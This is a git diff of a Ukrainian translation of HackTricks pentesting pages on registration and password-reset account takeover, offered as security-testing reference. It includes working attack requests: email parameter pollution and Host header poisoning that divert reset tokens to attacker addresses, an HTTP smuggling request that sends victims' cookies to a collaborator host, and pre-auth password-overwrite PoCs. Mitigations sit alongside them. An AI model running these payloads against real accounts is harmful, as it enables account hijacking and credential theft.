Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:28:30 +00:00
parent 2e4b16a7ec
commit 3e8b124e53
2 changed files with 181 additions and 147 deletions

View File

@ -1,79 +1,79 @@
# Вразливості реєстрації та захоплення
# Вразливості реєстрації та Takeover
{{#include ../banners/hacktricks-training.md}}
## Захоплення реєстрації
## Реєстрація Takeover
### Дублювання реєстрації
- Спробуйте згенерувати, використовуючи існуюче ім'я користувача
- Перевірте, варіюючи електронну пошту:
- Спробуйте створити акаунт з існуючим username
- Перевірте варіації email:
- верхній регістр
- \+1@
- додайте крапку в електронній пошті
- спеціальні символи в імені електронної пошти (%00, %09, %20)
- Додайте чорні символи після електронної пошти: `test@test.com a`
- додайте крапку в email
- спеціальні символи в імені email (%00, %09, %20)
- Додайте black characters після email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Перерахування імен користувачів
### Username Enumeration
Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстровано в додатку.
Перевірте, чи можна визначити, коли username вже зареєстрований у додатку.
### Політика паролів
### Password Policy
Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі).\
У цьому випадку ви можете спробувати брутфорсити облікові дані.
Під час створення користувача перевірте політику паролів (чи можна використовувати слабкі паролі).\
У такому випадку можна спробувати здійснити bruteforce credentials.
### SQL-ін'єкція
### SQL Injection
[**Перевірте цю сторінку** ](sql-injection/index.html#insert-statement), щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через **SQL-ін'єкції** у формах реєстрації.
[**Check this page** ](sql-injection/index.html#insert-statement) щоб дізнатися, як намагатися takeover акаунти або витягнути інформацію через **SQL Injections** у формах реєстрації.
### Захоплення Oauth
### Oauth Takeovers
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### Вразливості SAML
### SAML Vulnerabilities
{{#ref}}
saml-attacks/
{{#endref}}
### Зміна електронної пошти
### Зміна email
Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.
Після реєстрації спробуйте змінити email і перевірте, чи ця зміна коректно валідується або чи можна змінити її на довільні email.
### Більше перевірок
### Додаткові перевірки
- Перевірте, чи можете ви використовувати **одноразові електронні адреси**
- **Довгий** **пароль** (>200) призводить до **DoS**
- **Перевірте обмеження швидкості на створення облікових записів**
- Використовуйте username@**burp_collab**.net і аналізуйте **callback**
- Перевірте, чи можна використовувати **disposable emails**
- **Long** **password** (>200) призводить до **DoS**
- **Check rate limits on account creation**
- Використайте username@**burp_collab**.net та проаналізуйте **callback**
## **Захоплення скидання пароля**
## **Password Reset Takeover**
### Витік токена скидання пароля через реферер <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Запросіть скидання пароля на вашу електронну адресу
2. Натисніть на посилання для скидання пароля
1. Запросіть password reset на вашу email-адресу
2. Клікніть по password reset link
3. Не змінюйте пароль
4. Перейдіть на будь-які сторонні вебсайти (наприклад: Facebook, Twitter)
5. Перехопіть запит у проксі Burp Suite
6. Перевірте, чи заголовок referer витікає токен скидання пароля.
4. Клікніть на будь-який сайт третьої сторони (наприклад: Facebook, twitter)
5. Перехопіть запит в Burp Suite proxy
6. Перевірте, чи referer header is leaking password reset token.
### Отруєння скидання пароля <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Перехопіть запит на скидання пароля в Burp Suite
2. Додайте або відредагуйте наступні заголовки в Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Перешліть запит з модифікованим заголовком\
1. Перехопіть password reset request в Burp Suite
2. Додайте або змініть наступні заголовки в Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Шукайте URL скидання пароля на основі аголовка host_, наприклад: `https://attacker.com/reset-password.php?token=TOKEN`
4. Шукайте password reset URL, побудований на основі _host header_, наприклад : `https://attacker.com/reset-password.php?token=TOKEN`
### Скидання пароля через параметр електронної пошти <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -90,17 +90,17 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR на параметрах API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
### IDOR у параметрах API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Атакуючий повинен увійти в свій обліковий запис і перейти до функції **Змінити пароль**.
2. Запустіть Burp Suite і перехопіть запит.
3. Відправте його на вкладку повторювача та відредагуйте параметри: User ID/email\
1. Зловмисник повинен увійти у свій акаунт і перейти до функції **Change password**.
2. Запустіть Burp Suite та перехопіть запит
3. Відправте його на вкладку repeater і відредагуйте параметри : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Слабкий токен скидання пароля <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.\
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
Токен скидання пароля повинен генеруватися випадково й бути унікальним кожного разу.\
Спробуйте визначити, чи токен має термін дії або чи він завжди однаковий; в деяких випадках алгоритм генерації слабкий і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
- Timestamp
- UserID
@ -108,40 +108,40 @@ email=victim@mail.com|hacker@mail.com
- Ім'я та прізвище
- Дата народження
- Криптографія
- Тільки числа
- Невелика послідовність токенів (символи між \[A-Z,a-z,0-9])
- Тільки цифри
- Коротка послідовність токена ( characters between \[A-Z,a-z,0-9])
- Повторне використання токена
- Дата закінчення терміну дії токена
- Дата закінчення дії токена
### Витік токена скидання пароля <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
2. Перевірте відповідь сервера та перевірте наявність `resetToken`
3. Потім використовуйте токен в URL, наприклад `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Спровокуйте запит на скидання пароля через API/UI для конкретного email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Скидання пароля через колізію імені користувача <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: `"admin "`
2. Запросіть скидання пароля з вашим шкідливим іменем користувача.
3. Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
4. Увійдіть до облікового запису жертви з новим паролем.
1. Зареєструйтеся в системі з username, ідентичним username жертви, але з пробілами, вставленими перед та/або після імені користувача. e.g: `"admin "`
2. Запросіть скидання пароля для вашого зловмисного username.
3. Використайте токен, надісланий на вашу електронну пошту, щоб скинути пароль жертви.
4. Увійдіть в акаунт жертви з новим паролем.
Платформа CTFd була вразливою до цієї атаки.\
Дивіться: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Захоплення облікового запису через міжсайтовий скриптинг <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: `*.domain.com`
2. Витікайте поточний **cookie сесії**
3. Аутентифікуйтеся як користувач, використовуючи cookie
1. Знайдіть XSS всередині додатку або в субдомені, якщо cookies scoped до parent домену : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie
### Захоплення облікового запису через підробку HTTP-запитів <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Використовуйте **smuggler** для виявлення типу підробки HTTP-запитів (CL, TE, CL.TE)\
1\. Використайте **smuggler** для визначення типу HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` з наступними даними:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` з метою перенаправлення жертв на burpcollab і викрадення їхніх куків\
3\. Остаточний запит може виглядати наступним чином
2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` наступними даними:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Фінальний запит може виглядати наступним чином
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -153,29 +153,50 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone звіти про експлуатацію цього багу\
Hackerone повідомляє про експлуатацію цієї вразливості\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Захоплення облікового запису через CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичним відправленням для зміни пароля
1. Створіть payload для CSRF, наприклад: “HTML form with auto submit for a password change
2. Відправте payload
### Захоплення облікового запису через JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token може використовуватися для аутентифікації користувача.
- Змініть JWT на інший User ID / Email
- Перевірте на слабкий підпис JWT
- Відредагуйте JWT, підставивши інший User ID / Email
- Перевірте на наявність слабкого підпису JWT
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## Registration-as-Reset (Upsert on Existing Email)
Деякі signup handlers виконують upsert, коли вказаний email вже існує. Якщо endpoint приймає мінімальний body з email і password і не вимагає перевірки прав власності, відправлення email жертви перезапише її пароль до автентифікації.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
- Minimal body observed in the wild:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Приклад PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Вплив: Повний Account Takeover (ATO) без будь-якого reset token, OTP або email verification.
## Посилання
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ../banners/hacktricks-training.md}}
## **Password Reset Token Leak Via Referrer**
## **Токен скидання пароля Leak через заголовок referer**
- The HTTP referer header may leak the токен для скидання пароля if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**: Можливе захоплення облікового запису через Cross-Site Request Forgery (CSRF) атаки.
- **Exploitation**: Щоб перевірити, чи витікає токен для скидання пароля в referer header, **request a password reset** на вашу електронну адресу і **click the reset link**, що прийде. **Do not change your password** негайно. Натомість **navigate to a third-party website** (наприклад Facebook або Twitter), одночасно **intercepting the requests using Burp Suite**. Перевірте запити, щоб з'ясувати, чи **referer header contains the password reset token**, оскільки це може розкрити чутливу інформацію третім особам.
- **References**:
- HTTP referer header може leak токен скидання пароля, якщо він включений у URL. Це може трапитися, коли користувач переходить за посиланням на сторонньому сайті після запиту скидання пароля.
- **Вплив**: Потенційне захоплення облікового запису через Cross-Site Request Forgery (CSRF).
- **Експлуатація**: Щоб перевірити, чи leak password reset token у referer header, **запросіть скидання пароля** на вашу електронну адресу та **натисніть на надане посилання для скидання**. **Не змінюйте свій пароль** одразу. Натомість **перейдіть на сторонній вебсайт** (наприклад Facebook або Twitter) під час **перехоплення запитів за допомогою Burp Suite**. Перевірте запити, щоб побачити, чи **referer header містить password reset token**, оскільки це може розкрити чутливу інформацію третім особам.
- **Посилання**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
@ -15,164 +15,164 @@
## **Password Reset Poisoning**
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Призводить до потенційного захоплення облікового запису через leaking reset tokens to attackers.
- **Mitigation Steps**:
- **Вплив**: Може призвести до потенційного захоплення облікового запису через leak reset tokens атакуючому.
- **Кроки пом'якшення**:
- Validate the Host header against a whitelist of allowed domains.
- Use secure, server-side methods to generate absolute URLs.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **Патч**: Використовувати `$_SERVER['SERVER_NAME']` для побудови URL-адрес скидання пароля замість `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
## **Скидання пароля шляхом маніпуляції параметром email**
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Додати attacker email як другий параметр, використовуючи &
- Додайте електронну адресу атакуючого як другий параметр, використовуючи &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Додайте електронну адресу атакуючого як другий параметр, використовуючи %20
- Додати attacker email як другий параметр, використавши %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Додайте електронну адресу атакуючого як другий параметр, використовуючи |
- Додайте attacker email як другий параметр, використовуючи |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Додати електронну адресу attacker як другий параметр, використовуючи cc
- Додати електронну адресу зловмисника як другий параметр, використовуючи cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Додати attacker email як другий параметр, використовуючи bcc
- Додайте електронну адресу зловмисника як другий параметр, використовуючи bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Додайте attacker email як другий параметр, використовуючи ,
- Додайте attacker email як другий параметр використовуючи ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Додати attacker email як другий параметр у json array
- Додати електронну адресу зловмисника як другий параметр у масиві JSON
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Заходи пом'якшення**:
- Правильно розбирайте та перевіряйте параметри електронної пошти на стороні сервера.
- **Кроки пом'якшення**:
- Коректно розбирати та перевіряти email-параметри на стороні сервера.
- Використовуйте prepared statements або parameterized queries, щоб запобігти injection attacks.
- **Посилання**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Зміна email та пароля будь-якого користувача через параметри API**
## **Зміна Email та Password будь-якого користувача через API-параметри**
- Зловмисники можуть змінювати параметри електронної пошти та пароля в API-запитах, щоб змінити облікові дані облікового запису.
- Зловмисники можуть змінювати параметри email та password у API-запитах, щоб змінити облікові дані аккаунта.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Заходи пом'якшення**:
- Забезпечте сувору валідацію параметрів та перевірки автентифікації.
- Реалізуйте надійне логування та моніторинг для виявлення й реагування на підозрілі дії.
- **Посилання**:
- **Кроки пом'якшення**:
- Забезпечити сувору валідацію параметрів та перевірки автентифікації.
- Реалізувати надійне логування та моніторинг для виявлення та реагування на підозрілі дії.
- **Джерело**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **No Rate Limiting: Email Bombing**
## **Відсутність обмеження частоти: Email Bombing**
- Відсутність rate limiting на запитах скидання пароля може призвести до email bombing, що перевантажить користувача листами для скидання пароля.
- **Заходи пом'якшення**:
- Реалізуйте rate limiting на основі IP-адреси або облікового запису користувача.
- Використовуйте CAPTCHA, щоб запобігти автоматизованому зловживанню.
- Відсутність обмеження частоти запитів на скидання пароля може призвести до email bombing, що переповнить користувача листами для скидання пароля.
- **Кроки пом'якшення**:
- Впровадити обмеження частоти на основі IP-адреси або облікового запису користувача.
- Використовувати CAPTCHA, щоб запобігти автоматизованому зловживанню.
- **Посилання**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Дізнатися, як генерується токен для скидання пароля**
## **Дізнатися, як генерується токен скидання пароля**
- Розуміння патерну або методу генерації токена може дозволити передбачати або brute-forcing токени. Деякі варіанти:
- На основі мітки часу
- Розуміння патерну або методу генерації токена може дозволити передбачити або перебрати токени. Деякі варіанти:
- На основі часової мітки (timestamp)
- На основі UserID
- На основі email користувача
- На основі імені та прізвища
- На основі дати народження
- На основі криптографії
- **Заходи пом'якшення**:
- Використовуйте сильні криптографічні методи для генерації токенів.
- Забезпечте достатню випадковість та довжину, щоб запобігти передбачуваності.
- **Кроки пом'якшення**:
- Використовувати надійні криптографічні методи для генерації токенів.
- Забезпечити достатню випадковість та довжину, щоб уникнути передбачуваності.
- **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів.
## **Передбачуваний UUID**
- Якщо UUIDs (версія 1) вгадувані або передбачувані, зловмисники можуть brute-force їх, щоб згенерувати дійсні токени скидання. Перевірте:
- Якщо UUID (версії 1) є вгадуваними або передбачуваними, атакувальники можуть перебрати їх, щоб згенерувати дійсні токени скидання. Перевірте:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Заходи пом'якшення**:
- Використовуйте GUID версії 4 для випадковості або впровадьте додаткові заходи безпеки для інших версій.
- **Кроки пом'якшення**:
- Використовуйте GUID версії 4 для випадковості або реалізуйте додаткові заходи безпеки для інших версій.
- **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID.
## **Маніпуляція відповіді: заміна помилкової відповіді на коректну**
## **Маніпуляція відповіддю: замінити помилкову відповідь на коректну**
- Маніпуляція HTTP-відповідями для обходу повідомлень про помилку або обмежень.
- **Заходи пом'якшення**:
- Реалізуйте серверні перевірки, щоб забезпечити цілісність відповідей.
- Використовуйте захищені канали зв'язку, такі як HTTPS, щоб запобігти man-in-the-middle атакам.
- **Посилання**:
- Маніпуляція HTTP-відповідями для обходу повідомлень про помилки або обмежень.
- **Кроки пом'якшення**:
- Реалізувати перевірки на стороні сервера, щоб гарантувати цілісність відповідей.
- Використовувати захищені канали зв'язку, такі як HTTPS, щоб запобігти MITM-атакам.
- **Джерело**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Використання простроченого токена**
- Перевірка, чи можна все ще використовувати прострочені токени для скидання пароля.
- **Заходи пом'якшення**:
- Впровадьте суворі політики терміну дії токенів і перевіряйте їх прострочення на стороні сервера.
- Тестування того, чи можна використовувати прострочені токени для скидання пароля.
- **Кроки пом'якшення**:
- Впровадити суворі політики терміну дії токенів і перевіряти їх прострочення на стороні сервера.
## **Brute Force Password Reset Token**
## **Перебір токена скидання пароля**
- Спроба brute-force токена скидання за допомогою інструментів на кшталт Burpsuite та IP-Rotator для обходу обмежень за IP.
- **Заходи пом'якшення**:
- Впровадьте надійні механізми rate-limiting і блокування облікового запису.
- Моніторьте підозрілі дії, які вказують на brute-force атаки.
- Спроба перебору токена скидання пароля з використанням інструментів на кшталт Burpsuite і IP-Rotator для обходу обмежень за IP.
- **Кроки пом'якшення**:
- Реалізувати надійні механізми обмеження частоти та блокування облікового запису.
- Моніторити підозрілі дії, що вказують на перебор (brute-force).
## **Спроба використати свій токен**
## **Спроба використання токена**
- Перевірка, чи може reset token зловмисника бути використаний разом з email жертви.
- **Заходи пом'якшення**:
- Переконайтеся, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача.
- Перевірка того, чи може токен атакувальника використовуватись разом з email потерпілого.
- **Кроки пом'якшення**:
- Переконатися, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача.
## **Інвалідація сесії при виході/скиданні пароля**
## **Інвалідація сесій при виході/скиданні пароля**
- Забезпечення інвалідації сесій, коли користувач виходить або скидає пароль.
- **Заходи пом'якшення**:
- Реалізуйте правильне управління сесіями, забезпечуючи інвалідацію всіх сесій при виході або скиданні пароля.
- Переконатися, що сесії інвалідуються, коли користувач виходить або скидає пароль.
- **Кроки пом'якшення**:
- Реалізувати правильне керування сесіями, забезпечивши інвалідацію всіх сесій після виходу або скидання пароля.
## **Інвалідація сесії при виході/скиданні пароля**
## **Інвалідація сесій при виході/скиданні пароля**
- Reset tokens повинні мати час життя, після якого вони стають недійсними.
- **Заходи пом'якшення**:
- Встановіть розумний час життя для reset token і суворо примусово перевіряйте його на боці сервера.
- Токени скидання повинні мати час життя, після якого вони стають недійсними.
- **Кроки пом'якшення**:
- Встановити розумний термін дії токенів скидання і суворо його перевіряти на стороні сервера.
## **Обхід ліміту OTP шляхом зміни сесії**
## **OTP rate limit bypass by changing your session**
- Якщо сайт використовує сесію користувача для відстеження невірних спроб OTP і OTP був слабким (<= 4 цифри), то ми можемо ефективно brute-force OTP.
- **Експлуатація**:
- Якщо сайт використовує сесію користувача для відстеження невдалих спроб введення OTP і OTP був слабким ( <= 4 цифри), тоді ми можемо ефективно перебрати OTP.
- **експлуатація**:
- просто запросіть новий токен сесії після блокування сервером.
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
- **Приклад** коду, який експлуатує цю уразливість шляхом випадкового вгадування OTP (коли ви змінюєте сесію, OTP також зміниться, тому ми не зможемо послідовно перебрати його!):
``` python
# Authentication bypass by password reset
@ -231,9 +231,9 @@ except Exception as e:
print("[+] Attck stopped")
```
## Довільне скидання пароля через skipOldPwdCheck (pre-auth)
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Деякі реалізації відкривають дію зміни пароля, яка викликає routine зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або права власності. Якщо endpoint приймає параметр action, наприклад change_password, та username/new password в тілі запиту, зловмисник може скинути довільні облікові записи pre-auth.
Деякі реалізації надають endpoint для зміни пароля, який викликає процедуру зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або приналежності. Якщо endpoint приймає параметр action, наприклад change_password, і username/new password у тілі запиту, атакувальник може скинути довільні облікові записи pre-auth.
Вразливий патерн (PHP):
```php
@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Запит на експлуатацію (концепція):
Exploitation запит (концепція):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
Заходи пом'якшення:
- Завжди вимагайте дійсний, time-bound reset token, прив'язаний до account і session перед зміною пароля.
- Ніколи не відкривайте доступ до шляхів skipOldPwdCheck неавторизованим користувачам; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль.
- Скасуйте всі активні sessions та reset tokens після зміни пароля.
Міри пом'якшення:
- Завжди вимагайте дійсний, обмежений у часі reset token, прив'язаний до облікового запису та сесії перед зміною пароля.
- Ніколи не відкривайте шляхи skipOldPwdCheck для неавторизованих користувачів; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль.
- Анулюйте всі активні сесії та токени скидання після зміни пароля.
## Джерела
## Registration-as-Password-Reset (Upsert on Existing Email)
Деякі застосунки реалізують signup handler як upsert. Якщо електронна пошта вже існує, обробник мовчки оновлює запис користувача замість відхилення запиту. Коли registration endpoint приймає мінімальне JSON тіло з існуючою електронною поштою та новим паролем, це фактично стає pre-auth password reset без будь‑якої перевірки прав власності, що дозволяє повний account takeover.
Pre-auth ATO PoC (перезапис пароля існуючого користувача):
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
## Посилання
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Як я знайшов критичну вразливість скидання пароля (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}